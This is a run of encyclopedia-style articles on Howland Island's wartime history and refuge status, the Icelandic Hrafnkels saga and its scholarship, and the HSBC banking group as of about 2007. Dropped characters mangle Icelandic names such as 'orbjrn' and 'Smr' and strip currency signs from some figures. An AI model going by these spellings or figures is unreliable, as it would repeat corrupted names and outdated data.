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          A Japanese air attack on 8 December 1941 by fourteen twin-engined bombers killed two of the Kamehameha School colonists (Richard "Dicky" Kanani Whaley and Joseph Kealoha Keliʻhananui) at the beginning of U.S. involvement in World War II. The three airstrips of Kamakaiwi Field were targeted and damaged in the raid. Two days later, a Japanese submarine shelled what was left of the government colony's few buildings into ruins. A single bomber returned twice during the following weeks and dropped more bombs on the rubble of tiny Itascatown. The two survivors were evacuated by a U.S. Navy destroyer on 31 January 1942. The island was occupied by a battalion of United States Marines in September 1943 and known as Howland Naval Air Station until May 1944. Following this brief period, all attempts at habitation were abandoned (the colonization projects on the other four islands were also disrupted by the war and ended at the same time).


          Kamakaiwi Field suffered more damage during World War II and later all but disappeared. Ironically, while the atoll was colonized in 1935 as a future aviation facility and is referenced in popular culture almost exclusively because of its association with the last flight of Earhart and Noonan, no airplane is known to have ever landed on Howland Island.


          


          Wildlife refuge
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          By the 1970s Howland Island was overrun by a population of feral cats, descendants of individuals brought by earlier human colonists. The cats were gradually removed during the 1980s and the area was designated a bird and wildlife refuge. However, abandoned World War II military debris continued to be a concern. Amateur radio enthusiasts made several authorized visits to the island during the 1990s and early 2000s. In 2006, trespassing by commercial fishing boats and their helicopters was cited as a serious problem.


          Public entry to the island is by special-use permit from the U.S. Fish and Wildlife Service only and is generally restricted to scientists and educators. Representatives from the agency visit the island on average once every two years, often coordinating transportation with amateur radio operators or the U.S. Coast Guard to defray the high expense of logistical support required to visit this remote atoll.


          


          Earhart Light


          Earhart Light is a day beacon or navigational landmark shaped somewhat like a short lighthouse (with no illumination), painted with wide stripes and meant to be seen from several miles out to sea during daylight hours. It is located near the boat landing at the middle of the west coast by the former site of Itascatown. It was partially destroyed during early World War II by the Japanese attacks, but was rebuilt in the early 1960s by the US Coast Guard. By 2000, the Earhart beacon was said to be crumbling and hadn't been painted in decades.
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          Hrafnkels saga ( [ˈr̥apncɛls ˌsaːɣa] ) is one of the Icelanders' sagas. It tells of struggles between chieftains and farmers in the east of Iceland in the 10th century. The eponymous main character, Hrafnkell, starts out his career as a fearsome duelist and a dedicated worshiper of the god Freyr. After suffering defeat, humiliation, and the destruction of his temple, he becomes an atheist. His character changes and he becomes more peaceful in dealing with others. After gradually rebuilding his power base for several years, he achieves revenge against his enemies and lives out the rest of his life as a powerful and respected chieftain. The saga has been interpreted as the story of a man who arrives at the conclusion that the true basis of power does not lie in the favour of the gods but in the loyalty of one's subordinates.


          The saga remains widely read today and is appreciated for its logical structure, plausibility, and vivid characters. For these reasons, it has served as a test case in the dispute on the origins of the Icelandic sagas.


          


          Synopsis
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          We learn of the Norwegian man Hallfrer who becomes one of the original settlers of Iceland, arriving on the east coast around the year 900 with his teenage son Hrafnkell, a promising young man. Hrafnkell has ambition and soon  with the permission of his father  establishes his own settlement. He selects an uninhabited valley for his farm and names it Aalbl (Noble home). The valley subsequently receives the name Hrafnkelsdalr (Hrafnkell's valley).


          Hrafnkell also has a large temple erected and performs lavish sacrificial ceremonies. He dedicates the best of his livestock to his patron deity Freyr, including his favourite horse, Freyfaxi. He swears that he will kill anyone who rides Freyfaxi without permission. From his religious activities Hrafnkell comes to be known as Freysgoi (Freyr's goi).


          Hrafnkell longs for power and soon establishes himself as a chieftain by bullying people in neighbouring valleys. He has a penchant for duels and never pays weregild for anyone he kills.


          Now the saga introduces Einarr, a shepherd of Hrafnkell's. On one occasion Einarr needs to ride to perform his duties, but every horse he approaches runs away from him except Freyfaxi. He then takes Freyfaxi and rides him for the day. But after the horse has been ridden it runs home to Aalbl and starts neighing. On seeing his horse dirty and wet with sweat, Hrafnkell realises what has happened. He rides out with his axe and reluctantly kills Einarr to fulfil his oath.


          
            [image: Although the Norse god Freyr functions as Hrafnkell's patron deity, the saga contains few supernatural elements.]
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          Einarr's father, orbjrn, upset at the death of his son, goes to Hrafnkell to seek wergild. Hrafnkell tells him that he pays wergild for no man. He does, however, think that this killing was among the worst he has done and is prepared to make some amends. He makes a seemingly favourable offer to orbjrn of taking care of him for the rest of his days.


          orbjrn, however, wants nothing short of a formal settlement as between equals. Upon Hrafnkell's rejection of this, orbjrn starts searching for ways to achieve satisfaction. The laws of the Icelandic Commonwealth guarantee every free man the same rights  but since no central executive power exists, a common man would have difficulty in prosecuting a chieftain. He would generally need the support of another chieftain, both for the complicated legal manoeuvring often necessary and, if successful at the assembly, for subsequently enforcing the verdict.
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          orbjrn tries to get the support of his brother Bjarni, but the latter doesn't want to become involved in a dispute with the powerful Hrafnkell. orbjrn then goes to Bjarni's son, Smr. He, in turn, first advises orbjrn to accept Hrafnkell's offer but orbjrn remains adamant. Smr has no desire to join the conflict, but after his uncle gets emotional he reluctantly agrees. Smr formally accepts the case from orbjrn so that he effectively becomes the plaintiff.


          Smr starts preparing the case against Hrafnkell and summons him to the Aling the next summer. Hrafnkell regards the attempt as laughable. When Smr and orbjrn reach the assembly at ingvellir they quickly discover that no major chieftain wants to aid them. The emotional orbjrn now wants to give up, but Smr insists they must proceed one way or the other.


          By a coincidence Smr and orbjrn meet orkell, a young adventurer from Vestfirir (West fjords). He sympathises with their cause and helps them achieve the support of his brother orgeirr, a powerful chieftain. With orgeirr's support Smr competently prosecutes the case. The law finds Hrafnkell guilty, and he rides home to Aalbl. Smr now has the right to kill Hrafnkell and confiscate his property. One early morning Smr, supported by orgeirr and orkell, arrives at Aalbl, surprising and capturing Hrafnkell while he sleeps.
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          Smr offers Hrafnkell two options: firstly execution on the spot; or secondly to live as Smr's subordinate, stripped of his honour and most of his property. Hrafnkell chooses to live. orkell1 cautions Smr that he will regret sparing Hrafnkell's life.


          Smr subsequently takes up residence at Aalbl and invites the locals for a feast. They agree to accept him as their new chieftain.


          Hrafnkell builds himself a new home in another valley. His spirits and ambition remain unbroken, and after a few years of hard work he has again established himself as a respectable farmer.


          orkell and orgeirr decide to "deliver Freyfaxi to his owner" and push him off a cliff. They also set fire to Hrafnkell's temple. Upon hearing this Hrafnkell remarks: I think it is folly to have faith in gods, and he never performs another sacrifice. His manner improves and he becomes much gentler with his subordinates. In this way he gains popularity and loyalty.2


          After six years of peace Hrafnkell decides the time for revenge has come. He receives news that Smr's brother, Eyvindr, is travelling close by with a few companions. He gathers his own men and goes to attack him. Smr gets word of the battle and immediately rides out with a small force to aid his brother. They arrive too late.
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          The next morning Hrafnkell surprises Smr when he is asleep and offers him a similar choice to the one he had received from him six years before, with no wergild paid for Eyvindr. Like Hrafnkell, Smr also chooses to live. Hrafnkell then takes up residence at Aalbl, his old home, and resumes the duties of a chieftain.


          Smr rides west and again seeks the support of orkell and orgeirr, but they tell him he has only himself to blame for his misfortune. He should have killed Hrafnkell when he had the chance. They will not support Smr in another struggle with Hrafnkell but offer him to move his residence to their region. He refuses and rides back home. Smr lives as Hrafnkell's subordinate for the rest of his days, never achieving revenge.


          Hrafnkell, on the other hand, lives as a respected leader until he meets a peaceful end. His sons become chieftains after his day.3


          


          From writer to reader


          


          Preservation


          The author of Hrafnkels saga remains completely unidentified. The text does not name him; nor does any other extant source. He was, however, certainly an Icelander and probably lived near the area which serves as the setting for the saga's events.


          The precise time of composition of the saga also remains unknown, but the late 13th century seems most likely. The oldest extant manuscript uses vellum from the first half of the 15th century, but unfortunately only one page remains. Paper copies made from the complete manuscript preserve the full text of the saga. The partially extant skin manuscript may well have copied the original composition directly. In any case the saga seems well preserved, with little rewriting and few accidental errors.
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          One class of paper manuscripts, C and C1 in the diagram, contains a slightly different version of the saga with several, mostly minor, additions. Most scholars have considered it as derived from the same vellum manuscript as the others with additions from the author of Fljtsdla saga. Thus they believe the shorter text closer to the original, and have given scant attention to the extended version.


          


          Publishing history


          P. G. Thorsen and Konr Gslason gave the saga its first publication, in Copenhagen in 1839. Other important scholarly editions include those of J. Jakobsen in 19021903 and of Jn Jhannesson in 1950.


          The saga has seen many popular editions and translations into a number of languages. The popular edition published by Halldr Laxness in 1942 caused a stir as the first to use modern Icelandic spelling for a text in Old Icelandic. The edition's detractors rejected this approach as a perversion of the original text. Its supporters in response depicted the standardised Old Norse spelling as an artificial constructno closer to the actual manuscripts than the modern spellingand an unnecessary burden to the casual reader. The latter view won out and the sagas have since frequently appeared using modern spelling conventions.


          


          Modern reception


          Today Hrafnkels saga remains one of the most widely read sagas. Readers especially appreciate it for its cohesive and logical story line; along with its shortness, these qualities make it an ideal first read for newcomers to the sagas. It has served as a standard text in Icelandic high schools and as an introductory text for students of Old Norse. Sigurur Nordal called it "one of the most perfect short novels in world literature".


          


          Origins


          Precisely the attributes which make Hrafnkels saga so accessible have served to make it an attractive target for different theories on the origins of the Icelandic sagas. Identical elements sometimes serve to support widely different theories.


          


          History


          Some commentators have seen the sagas as largely historical accounts, preserved orally for hundreds of years until committed to writing by faithful scribes. Scholars in the 19th century especially espoused this view; it largely went out of fashion in academia by around 1940, although many amateurs still hold to it.


          Many see Hrafnkels saga as a prime example of accurately preserved oral history. They find the saga inherently plausible in that its characters have logical motivations and the results of their actions are realistic. The text has little supernatural content. It is short enough and cohesive enough for its oral preservation to be entirely plausible. Indeed the average modern reader can probably retell the story accurately after two or three readings.


          But the historical interpretation ran into several problems. When compared with other sources on the same period, notably Landnmabk, discrepancies spring up. As one example, Landnmabk tells us that Hrafnkell had a father named Hrafn, but the saga names him Hallfrer. The saga's treatment of the laws of the time also shows inconsistencies with reliable sources.


          


          Literature


          The historical inconsistencies and other difficulties led Sigurur Nordal to write his groundbreaking book Hrafnkatla in 1940. He greatly expands upon previous criticism on the saga and draws on data from many areas to cast doubt on its historical veracity.


          Aside from the conflicts with Landnmabk and the laws of the time, Sigurur argues that the saga treats geographical facts incorrectly. He claims that the valleys used as the ostensible settings for the events of the story would never have allowed for as great a population as the saga assumes. He also states that the cliff near Aalbl, the alleged site of the killing of Freyfaxi, simply does not exist.


          Sigurur sees the saga's convincing narrative and characters as evidence that a single brilliant author composed it. According to Sigurur the author cared little for historical accuracy, and insofar as he may have used any written historical sources, he changed them according to his own whim to fit the plot of the novella he wanted to write.


          


          Folklore


          Another school of thought regarding the origin of the sagas, which came into prominence in the second half of the 20th century, emphasises the elements of folklore and the oral survival of legends for an extended period of time.


          In some ways this marks a return to the old idea of oral preservation of the sagas, but the folklorists do not necessarily focus on historical accuracy. They apply modern research to determine which elements of a story seem likely to endure and which seem ephemeral. Theory suggests that core story lines of the sagas will preserve oral elements long-term, whereas one can expect details  such as the names of secondary characters  to change over the centuries.


          The Icelandic scholar skar Halldrsson wrote a short book on Hrafnkels saga criticising Sigurur Nordal's previous work. According to skar such details as an incorrect name for Hrafnkell's father do not constitute valid evidence for the view of the saga as a 13th-century fiction. On the contrary, skar takes this as confirmation that the story of Hrafnkell survived independently in the east of Iceland, and changed in unimportant details, long after the composition of Landnmabk.


          skar traces the story of Freyfaxi back to horse-worship among Indo-European peoples, and in his opinion such mythic or folkloric themes strengthen the case for the oral preservation of elements of Hrafnkels saga since heathen times.


          


          Recent views


          The controversy on Hrafnkels saga remains unsettled. In a 1988 book, Hermann Plsson again completely dismisses the idea of an oral tradition and seeks the origins of the saga in mediaeval European ideas. In a departure from previous scholarship, Hermann based his research on the extended version of the saga.


          Jn Hnefill Aalsteinsson, in his 2000 book on the saga, emphasises its heathen religious elements. While acknowledging that a large part of the story line probably represents 13th-century fiction, Jn Hnefill finds evidence of an oral tradition in such aspects of the story as Hrafnkell's sacrifices and the behaviour of Freyfaxi.


          Jnas Kristjnsson, in his 1988 work on the sagas, summed up the argument on Hrafnkels saga when he said that the great interest in it "has led to deeper consideration of other texts ... It has become a test-case, the classic example, in the discussion of relations between unsophisticated oral story-telling and learned well-read authors, between inherited pragmatic attitudes and imported Christian ethics."


          English translations


          
            	Coles, John (translator) (1882). "The Story of Hrafnkell, Frey's Priest" in Summer Travellings in Iceland pp. 230-49. London.


            	Jones, Gwyn (translator) (1935). "Hrafnkel Freysgodi's Saga" in Four Icelandic Sagas pp. 3761. New York.


            	McGaillard, John C (translator) (1956). "Hrafnkel's saga" in World Masterpieces pp. 512-32. New York.


            	Jones, Gwyn (translator) (1961). "Hrafnkel the Priest of Frey" in Eirik the Red and other Icelandic Sagas pp. 89125. Oxford.


            	Hermann Plsson (translator) (1971). Hrafnkel's saga and other Icelandic stories. Penguin.


            	Gunnell, Terry (translator) (1997). "The Saga of Hrafnkel Frey's Godi" in The Complete Sagas of Icelanders vol. V, pp. 261-81. Leifur Eirksson Publishing.
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              	Type

              	Public (LSE: HSBA, SEHK: 005, NYSE: HBC, Euronext: HSBC, BSX: 1077223879)
            


            
              	Founded

              	Hong Kong (1865)
            


            
              	Founder

              	Thomas Sutherland
            


            
              	Headquarters

              	London, England, UK
            


            
              	Keypeople

              	Stephen Green, Executive Chairman

              Michael Geoghegan, CEO
            


            
              	Industry

              	Finance and Insurance
            


            
              	Products

              	Financial Services
            


            
              	Revenue

              	▲ $70.1 billion USD ( 2006)
            


            
              	Operating income

              	▲ $54.8 billion USD ( 2006)
            


            
              	Net income

              	▲ $15.8 billion USD ( 2006)
            


            
              	Employees

              	312,000
            


            
              	Subsidiaries

              	HSBC Bank plc, The Hongkong and Shanghai Banking Corporation, HSBC Bank USA, HSBC Mexico, HSBC Bank Brasil, HSBC Finance
            


            
              	Website

              	www.hsbc.com
            

          


          HSBC Holdings plc ( traditional Chinese: 滙豐控股有限公司 pinyin: hifōng knggǔ yǒuxin gōngsī LSE: HSBA, SEHK: 0005, NYSE: HBC, Euronext: HSBC, BSX: 1077223879) is the world's largest financial group in terms of market capitalization. It was also rated the third largest company by Forbes 2000. HSBC Holdings was established in 1991 to act as the parent company to The Hongkong and Shanghai Banking Corporation based in Hong Kong. The group's head office is located in the HSBC Tower ( 8 Canada Square) by London's Canary Wharf. The group is named after its founding and largest member, The Hongkong and Shanghai Banking Corporation, a bank established in Hong Kong by Thomas Sutherland in 1865 to finance the growing trade between China and Europe.


          The bank is the fourth largest corporation in the world in terms of assets (as of Dec 31, $1.861 trillion, while Citigroup reported $1.884 trillion). It reports its results in United States dollars, since 80% of its earnings originate from outside the United Kingdom. Nearly 22% of its earnings are from operations in Hong Kong, where it was headquartered until 1993. It is the largest bank in Hong Kong, and at the end of 2005 was the largest banking group in the world by Tier 1 capital. The group's shares are currently traded on the London, Hong Kong, Paris, New York and Bermuda stock exchanges.


          


          Local operations


          The HSBC Group operates as a number of local banks around the world. Outlined below are operations in countries which, in 2006, represented profit before tax greater than US$50 million. For details of other group companies see Category:HSBC.


          


          America


          
            	[image: Flag of Costa Rica] Banco HSBC (Costa Rica) SA operates around 40 branches throughout the major cities. HSBC entered Costa Rica in the summer of 2007; it was introduced under the promotional campaign "HSBC is the new name of BANEX". HSBC acquired Banex and has assumed operations in all of its branches. Banco Nacional de Costa Rica (BNCR) is HSBC's largest competitor in the market.

          


          
            	[image: Flag of Argentina] HSBC Bank Argentina SA has around 150 branches throughout Argentina providing a full range of banking and financial products and services to over 1.2 million customers. Midland Bank purchased a stake in Banco Roberts SA in 1987; in 1997 HSBC took full control of the bank and rebranded it HSBC. Also, after the crisis of 2001, they bought the italian Banca Nazionale del Lavoro (BNL) and they call this banks "BNL en argentina es Hsbc" (BNL in Argentina is HSBC) but after two years they are call only HSBC (although many things are different for ex BNL users than to HSBS users)

          


          
            	[image: Flag of Bermuda] The Bank of Bermuda Limited was acquired by HSBC in February 2004. Founded in 1889, it is a leading provider of fund administration, trust, custody, asset management and banking services, since the acquisition the group has focused its global efforts in some areas of these services on the island.
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            	[image: Flag of Brazil] HSBC Bank Brasil is HSBCs largest presence in South America. It was established in March 1997 with the acquisition of the assets, liabilities and subsidiaries of Banco Bamerindus do Brasil SA, which was established in 1952. HSBC is now among the ten largest banks in Brazil, with more than 1,700 branches and sub-branches in 550 Brazilian cities.

          


          
            	[image: Flag of Canada] HSBC Bank Canada is the seventh largest bank in Canada, with offices in every province except for Prince Edward Island, and is the largest foreign-owned bank in the country. HSBC has a strong presence in overseas Chinese communities especially in Vancouver and Toronto, and is the only Canadian bank with headquarters in British Columbia.

          


          
            	[image: Flag of Mexico] HSBC Mexico, SA is one of Mexicos four largest banking and financial service companies, with 1,400 branches, 4,800 ATMs and 6 million customers. HSBC purchased Banco Internacional, SA known as Bital, in November 2002, rebranding it overnight in January 2004.

          


          
            	[image: Flag of Paraguay] HSBC Bank Paraguay S.A. Lloyds TSB Bank Paraguay was acquired by HSBC Group in 2007.

          


          
            	[image: Flag of the United States] HSBC Bank USA NA and HSBC Finance Corporation represent the groups business in the US, which has been built up via the acquisition of Marine Midland (1980), Republic National Bank (1999), Household International (2003) and Metris Companies (2005) among others. HSBC Bank USA, headquartered in Buffalo, NY, is a full service bank, with a strong branch network in New York State but also operating nationwide. HSBC Finance Corporation focuses on selected lines of consumer lending with branch networks across the US.

          


          


          Asia Pacific


          
            	[image: Flag of Australia] HSBC Bank Australia Limited gained its banking licence in 1986. Today, a full range of Personal and Commercial services are offered from a network of branches as well as via direct channels.

          


          
            	[image: Flag of the People's Republic of China] HSBC Bank (China) Company Limited and HSBC Rural Bank Company Limited HSBC established its Shanghai branch office on 3 March 1865 and has had a continuous presence in the city since then, except during the Japanese Occupation. Until the economic reforms of the late 1970s, its activities were mainly in inward remittances and export bills, however its activities now span a wider range. HSBC has purchased stakes in various local firms, including 18.6% of Bank of Communications, 8% of Bank of Shanghai and 19.9% of Ping An Insurance.

          


          
            	[image: Flag of Hong Kong] The Hongkong and Shanghai Banking Corporation Limited and Hang Seng Bank Limited HSBC first opened for business in Hong Kong on 3 March 1865. Hong Kong dollar banknotes are issued by three commercial banks in the Hong Kong SAR, of which HSBC is the most prolific by value. The Hang Seng Index for stock prices in Hong Kong is named after the Hang Seng Bank. The two banks are today first and second by market share in Hong Kong.

          


          
            	[image: Flag of India] The Hongkong and Shanghai Banking Corporation Limited The Mercantile Bank of India, London and China was established in October 1853 in Bombay (now Mumbai). The Mercantile Bank was acquired in 1959 by HSBC. HSBC is now one of the fastest growing foreign banks in India, both in domestic banking and support operations for worldwide operations (see Group Service Centres).

          


          
            	[image: Flag of Indonesia] The Hongkong and Shanghai Banking Corporation Limited HSBC opened its first Indonesian office in Jakarta in 1884 as The Hongkong and Shanghai Banking Corporation Limited. Having been able to restart its operations after the Second World War, it was again forced to close in mid-1960s, however the Bank was granted a new banking licence in 1968 its operations have grown to make it one of the largest foreign banks operating in Indonesia.

          


          
            	[image: Flag of Malaysia] HSBC Bank Malaysia Berhad traces its history back to the opening of the first HSBC office in Penang in 1884. The bank later became an issuer of currency notes for the Malaysian government. A gradual expansion programme resulted in the banks incorporation, the first foreign institution to do so in Malaysia in 1994. The bank today provides a full range of personal and commercial financial services.HSBC operates a call centre in Cyberjaya,Malaysia, a cybercity in Malaysia.

          


          
            	[image: Flag of Singapore] HSBC Bank Singapore operates as a full service bank with its headquarters in Collyer Quay, it is an approved Primary Dealer in the Singapore Government Securities Market and an Approved Bond Intermediary, with over a hundred staff operating one of the largest integrated dealing rooms in Singapore.

          


          
            	[image: Flag of South Korea] The Hongkong and Shanghai Banking Corporation Limited is expanding in competitive South Korean market, currently operating from a network of 11 branches, the first having been opened in Jemulpo in 1897 .

          


          
            	[image: Flag of the Republic of China] The Hongkong and Shanghai Banking Corporation Limited offers a wide range of financial products in Taiwan as part of its Greater China operations. Having first appointed an Agent in Tamsui in 1885, it has now reached an 18 location operation.

          


          
            	[image: Flag of Thailand] The Hongkong and Shanghai Banking Corporation Limited operates a significant (greater than US$50m) business in Thailand, including personal financial services as well as a corporate and commercial banking operation.

          


          


          Europe


          
            	[image: Flag of France] HSBC SA operates around 800 branches in France since the takeover of Credit Commercial de France, primarily operating under the HSBC brand. HSBC France is now the HSBC Groups lead bank in the Eurozone, focusing on certain capital market products for a global audience, and high net worth and international business in France.

          


          
            	[image: Flag of Germany] HSBC Trinkaus AG was founded in 1785 and is one of the longest-established members of the HSBC Group. It has operations in private, commercial and investment banking and asset management.

          


          
            	[image: Flag of Ireland] HSBC Bank plc and a number of subsidiaries have operations in insurance, reinsurance, securities services and a newly established consumer finance business. The fund management business had assets in excess of US$20bn as of 2006.

          


          
            	[image: Flag of Malta] HSBC Bank Malta plc is one of the largest banks in Malta. It is a listed company but its majority shareholder is the HSBC Group. Formerly the Mid-Med Bank, HSBC Bank Malta is the second-longest established bank in Malta.

          


          
            	[image: Flag of Switzerland] HSBC Private Bank (Suisse) SA and HSBC Guyerzeller Bank AG are the Swiss operating subsidiaries of the group's Private Banking business, with 12 locations in the country. Much of the private banking business takes a lead from work done in Switzerland, with a total of 74 locations around the world operating solely for private banking business.

          


          
            	[image: Flag of Turkey] HSBC Bank AS is now the fifth largest private bank in Turkey, having expanded through internal financing and via acquisition since entering the market in 1990. The bank has a network of around 190 branches, offering products and services to corporate, commercial and personal customers, both under the HSBC brand as well as the Advantage brand.

          


          
            	[image: Flag of the United Kingdom] HSBC Bank plc is one of the " Big Five" high street banks in the UK, maintaining a large network of branches in England and Wales, with a smaller presence in Scotland and Northern Ireland. It acquired this presence in 1992 with the acquisition of Midland Bank plc. It also operates the previously Midland-owned telephone and internet bank First Direct, the consumer lending brand Beneficial Finance, and the financial services division of Marks & Spencer.

          


          


          Middle East and Africa


          
            	[image: Flag of Egypt] HSBC Bank Egypt SAE was founded in 1982, and rebranded as HSBC in April 2001 after HSBC lifted its ownership stake from 40% to 94.5%. HSBC Bank Egypt is one of the largest multinationals and fastest growing banks in Egypt, providing a comprehensive range of banking and related financial services through a network of 44 branches.

          


          
            	[image: Flag of Saudi Arabia] SABB (The Saudi British Bank) In Saudi Arabia HSBC is represented by The Saudi British Bank which is a 40% owned subsidiary, and also a joint venture partner in HSBC Saudi Arabia Limited, the kingdoms first full service independent investment bank.

          


          
            	[image: Flag of Qatar] HSBC Bank Middle East Limited HSBC provides a range of banking services for both corporate and individual customers in Qatar. HSBC is the largest foreign bank in Qatar and has five branches, in Doha, Al Sadd, West Bay, Rayyan and Grand Hamad Street as well as a large network of ATMs at 21 different locations.

          


          
            	[image: Flag of the United Arab Emirates] HSBC Bank Middle East Limited The United Arab Emirates represents a key part of HSBC Bank Middle East's business, with 16 branches and the firm's head office located here.

          


          


          Global product lines and programmes


          


          Group Service Centres


          As a cost saving measure HSBC is offshoring processing work to lower cost economies in order to reduce the cost of providing services in developed countries. These locations take on work such as data processing and customer service, but also internal software engineering at Pune, Hyderabad (India), Guangzhou (China) and Curitiba (Brazil).


          Chief Operating Officer Alan Jebson said in March 2005 that he would be very surprised if fewer than 25,000 people were working in the centres over the next three years: I dont have a precise target but I would be surprised if we had less than 15 (global service centres) in three years time. He went on to say that each centre cost the bank from $20m to $30m to set up, but that for every job moved the bank saves about $20,000 (10,400).


          Trade unions, particularly in the US and UK, blame these centres for job losses in developed countries, and also for the effective imposition of wage caps on their members.


          Currently centres exist in six countries, in Brazil in Curitiba, in India in Hyderabad, Bangalore, Visakhapatnam, Mumbai, Kolkata and Pune, in China in Shanghai, Guangzhou and Shenzhen, in Kuala Lumpur (Malaysia), Colombo ( Kotte) (Sri Lanka) and Manila (Philippines). There is also a trial going on in Malta to asses the possibility of offshoring a UK high value call centre. An option under consideration is reported to be a processing centre in Vietnam to access the French skills of the population and therefore cut costs in the banks French operation.


          On June 27th 2006, HSBC reported that a "small number" of customers had suffered from fraud totalling 233,000 after an employee at the Bangalore call centre supplied confidential customer information to fraudsters.


          


          HSBC Premier


          The group has HSBC Premier as its premium financial services product - the brand name has been used in many market places around the world. Traditionally the exact benefits and qualification criteria have varied depending on what country you were in. Broadly customers had a dedicated Relationship Manager, global 24 hour access to Premier call centres, and preferential rates. The 2 UK call centres are in Edinburgh and Swansea. In 2008 the Premier focus will be on Savings, Wealth management and Mortgages. Premier staff members are given complete access to the service and are experts in the above 3 categories.


          In May 2007, HSBC relaunched its HSBC Premier service simultaneously across 35 countries and territories and standardised its various offerings to include:


          
            
              	International account opening before leaving home


              	Dedicated personal relationship manager in each country where account held


              	Overseas mortgage arrangement


              	A single-view of all accounts in any location online


              	Free global money transfer between HSBC accounts


              	Emergency help including cash at over 245,000 outlets across 200 countries


              	24-hour helpline for Premier customers in each country


              	Banking services and lounge facilities across 35 countries and territories


              	Access to international wealth management products and professional investment information

            

          


          Countries included in the global roll-out of HSBC Premier are: Argentina, Australia, Bahrain, Bermuda, Brazil, Brunei, Canada, China, Colombia, Egypt, Greece, Hong Kong, India, Indonesia, Jersey, Jordan, Lebanon, Macao, Malaysia, Malta, Mexico, Oman, Pakistan, Panama, Philippines, Qatar, Saudi Arabia, Singapore, South Korea, Sri Lanka, Taiwan, Thailand, Turkey, UAE, UK and USA.


          


          HSBC Bank International


          HSBC Bank International Limited ( http://offshore.hsbc.com/1/2/home) is the offshore banking arm of the HSBC Group, it focuses on providing offshore solutions and cross border services to expatriates and migrants. It provides a full range of multi-currency personal banking services to a range of customer segments, including a full internet banking and telephone banking service. Sometimes referred to as 'HSBC Offshore', the business also offers independent financial planning, and has representative offices all over the world, often working alongside local HSBC operations in those regions.

          HSBC Bank International originated from the business started by Midland Bank and is based in the Channel Islands with further operations on the Isle of Man. Its operations in the Channel Islands are centred around its registered headquarters on the seafront in St Helier, Jersey. Named 'HSBC House', the building comprises departments such as Premier, Global Funds & Investments, e-Business and a 24 hour 'Direct Banking Centre'.


          


          HSBCnet


          Corporate, Investment Banking and Markets (CIBM) has HSBCnet ( http://www.hsbcnet.com) as its online brand presence, having originated as the name for the new corporate internet banking system.


          HSBCnet is a global service that caters to local business needs by offering specialised functionality for different regions world-wide.


          The system provides access to transaction banking functionality - ranging from payments and cash management to trade services features - as well as to research and analytics content from HSBC. It also includes foreign exchange and money markets trading functionality.


          The system is used widely by HSBC's high-end corporate and institutional clients served variously by the bank's CIBM, Commercial Banking (CMB) and Global Transaction Banking (GTB) divisions.


          


          HSBC Direct


          HSBC Direct is an online direct banking operation which attracts customers through their high-interest savings accounts and no service charges or minimum account balance requirements.


          It was first launched in the USA (November 2005) and is currently also available in Canada (April 2007), Taiwan (September 2006) and South Korea (February 2007).


          HSBC have announced plans to launch HSBC Direct in other countries, as well as gradually expand its product range to include other products.


          


          Brand and advertising


          The group announced in November 1998 that the HSBC brand and the hexagon symbol would be adopted as the unified brand in all the markets where HSBC operates, with the aim of enhancing recognition of the Group and its values by customers, shareholders and staff throughout the world.


          


          Hexagon symbol


          This was originally adopted by The Hongkong and Shanghai Banking Corporation as its logo in 1983. It was developed from the banks house flag, a white rectangle divided diagonally to produce a red hourglass shape. Like many other Hong Kong company flags that originated in the 19th century, the design was based on the cross of Saint Andrew. The logo was designed by Graphics master Henry Steiner.


          
            [image: The 2004 Jaguar car, being driven by Mark Webber.]

            
              The 2004 Jaguar car, being driven by Mark Webber.
            

          


          


          Sponsorship


          Having sponsored the Jaguar Racing Formula One team since the days of Stewart Grand Prix, HSBC ended its relationship with the sport when Red Bull purchased Jaguar Racing from Ford. HSBC has now switched its focus to golf, taking title sponsorship of events such as the HSBC World Match Play Championship, HSBC Womens World Match Play Championship and HSBC Champions.


          In football HSBC sponsors French club AS Monaco and Mexican club CF Pachuca.


          In Rugby League HSBC sponsors Telford Raiders in the Rugby League Conference.


          In Australia, HSBC sponsors the New South Wales Waratahs rugby team in the Super 14 competition, as well as the Hawthorn Football Club in the Australian Football League.


          In the United States, HSBC owns the naming rights to the home arena of the Buffalo Sabres until 2026, the team plays in the North American National Hockey League.


          HSBCs other sponsorships are mainly in the area of education, health and the environment.


          HSBC's name and logo adorns many airport airbridges in the UK, particularly at London Heathrow and Gatwick airports. This advertising is also in place on airbridges at John F. Kennedy Airport and LaGuardia Airport in New York, Newark Airport in Newark, NJ, Narita International Airport in Tokyo, Soekarno-Hatta International Airport in Jakarta, and Pudong Airport in Shanghai.


          Every year, HSBC sponsors the Great Canadian Geography Challenge, which have roughly two million participants in the past twelve years.


          Since 2001, HSBC sponsors the Celebration of Light, an annual musical fireworks competition in Vancouver, British Columbia, Canada. In 2007 HSBC announced it would be a sponsor of the National Hockey League's Vancouver Canucks and Calgary Flames.


          


          Slogan


          Since the global adoption of the HSBC brand the following strap lines have been used:


          
            	1999-2002: Your world of financial services


            	2002-present: The worlds local bank

          


          


          Corporate governance


          


          Executive pay


          As of 2005 Michael Geoghegan, the company's CEO, was earning over 700,000.00 (over 1.4 million US dollars) per year, and the chairman Sir John Bond, who retired in 2006, was earning 1.8 million US dollars. HSBC made record profits in the 2004-2005 year earning over 12 billion GB Pounds or more than 20 billion US dollars.


          


          Household acquisition


          In 2003 HSBC completed its controversial acquisition of Household International, after Household settled on charges of predatory lending. The deal is now seen as in a much more positive light, The Banker suggests that "when banking historians look back, they may conclude that [it] was the deal of the first decade of the 21st century". HSBC is expanding the Household International consumer financial model to Brazil, India and elsewhere.


          


          Customer groups


          HSBC splits its business into four distinct groups, on a global basis:


          


          Personal Financial Services


          HSBC provides more than 100 million customers world-wide with a full range of personal financial services, including current and savings accounts, mortgage loans, car financing, insurance, credit cards, loans, pensions and investments. The Consumer Finance group facilitates point of sale credit to consumers, and lends money and provides related services to meet the financial needs of everyday people.


          


          Commercial Banking


          HSBC provides financial services to small, medium-sized and middle-market enterprises. The group has almost 2.5 million of such customers, including sole proprietors, partnerships, clubs and associations, incorporated businesses and publicly quoted companies.


          


          Corporate, Investment Banking and Markets


          This customer group provides tailored financial services to corporate and institutional clients. Business lines comprise Global Banking, Global Markets, Global Research and Global Transaction Banking.


          


          Private Banking


          Private Banking provides financial services to high net worth individuals and their families in 68 cities. Over the last five years, acquired companies such as Republic New York Corporation, Safra Republic Holdings, The Bank of Bermuda and Wealth and Tax Advisory Services have been integrated into HSBCs private banking business.


          


          History of HSBC Holdings plc
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          For the history of the HSBC Group prior to the founding of HSBC Holdings plc in 1991, see The Hongkong and Shanghai Banking Corporation.


          
